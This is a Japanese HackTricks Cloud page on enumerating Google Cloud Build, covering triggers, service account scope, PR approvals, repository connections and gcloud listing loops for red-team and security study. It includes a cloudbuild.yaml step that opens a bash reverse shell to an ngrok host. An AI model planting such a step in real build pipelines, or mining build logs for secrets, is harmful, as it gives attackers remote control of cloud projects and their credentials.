GCP - Cloud Build Enum
Reading time: 9 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Google Cloud Buildは、ソフトウェアビルドとリリースプロセスを自動化する管理されたCI/CDプラットフォームであり、ソースコードリポジトリと統合し、幅広いプログラミング言語をサポートしています。これにより、開発者はコードを自動的にビルド、テスト、デプロイでき、ビルドステップやワークフローをカスタマイズする柔軟性を提供します。
各Cloud Build Triggerは、Cloud Repositoryに関連付けられているか、外部リポジトリ(Github、Bitbucket、Gitlab)に直接接続されています。
tip
ここやCloud RepositoriesからGithub/Bitbucketトークンを盗む方法は見当たりません。リポジトリがダウンロードされると、https://source.cloud.google.com/ URLを介してアクセスされ、Githubはクライアントによってアクセスされません。
イベント
Cloud Buildは以下の場合にトリガーされます:
- ブランチへのプッシュ: ブランチを指定
- 新しいタグのプッシュ: タグを指定
- プルリクエスト: PRを受け取るブランチを指定
- 手動呼び出し
- Pub/Subメッセージ: トピックを指定
- Webhookイベント: HTTPS URLを公開し、リクエストはシークレットで認証される必要があります
実行
3つのオプションがあります:
- 実行するコマンドを指定するyaml/json。通常は:
/cloudbuild.yaml
- ウェブコンソールとCLIで「インライン」で指定できる唯一のもの
- 最も一般的なオプション
- 認証されていないアクセスに関連
- ビルドするためのDockerfile
- ビルドするためのBuildpack
SA権限
サービスアカウントはcloud-platform
スコープを持っているため、すべての権限を使用できます。SAが指定されていない場合(提出時など)、デフォルトのSA <proj-number>@cloudbuild.gserviceaccount.com
が使用されます。**
デフォルトでは権限は与えられませんが、いくつかの権限を与えるのは非常に簡単です:
.png)
承認
Cloud Buildをビルド実行の承認を必要とするように設定することが可能です(デフォルトでは無効)。
PR承認
トリガーがPRの場合、誰でも公開リポジトリにPRを行うことができるため、任意のPRでトリガーの実行を許可するのは非常に危険です。したがって、デフォルトでは、実行は所有者とコラボレーターのみに自動的に行われ、他のユーザーのPRでトリガーを実行するには、所有者またはコラボレーターが/gcbrun
とコメントする必要があります。
.png)
接続とリポジトリ
接続は以下を介して作成できます:
- GitHub: Githubトークンを取得するための権限を要求するOAuthプロンプトが表示され、Secret Managerに保存されます。
- GitHub Enterprise: GithubAppのインストールを要求します。GitHub Enterpriseホストからの認証トークンが作成され、このプロジェクトのSecret Managerシークレットに保存されます。
- GitLab / Enterprise: APIアクセス用トークンと読み取りAPIアクセス用トークンを提供する必要があります。これらはSecret Managerに保存されます。
接続が生成されると、Githubアカウントがアクセスできるリポジトリをリンクするために使用できます。
このオプションはボタンを介して利用可能です:
.png)
tip
この方法で接続されたリポジトリは、2世代のトリガーでのみ利用可能です。
リポジトリを接続する
これは**接続
とは異なります。これはGithubまたはBitbucketリポジトリにアクセスするための異なる**方法を提供しますが、接続オブジェクトを生成するのではなく、リポジトリオブジェクト(1世代)を生成します。
このオプションはボタンを介して利用可能です:
.png)
ストレージ
時々、Cloud Buildはトリガー用のファイルを保存するための新しいストレージを生成します。これは、GCPが提供する例などで発生します:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
ストレージバケット security-devbox_cloudbuild が作成され、使用するファイルを含む .tgz
を保存します。
シェルを取得する
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
cloud build内にgcloudをインストールする:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
列挙
ビルド構成やログに機密情報が含まれている可能性があります。
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
権限昇格
認証されていないアクセス
GCP - Cloud Build Unauthenticated Enum
ポストエクスプロイト
GCP - Cloud Build Post Exploitation
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。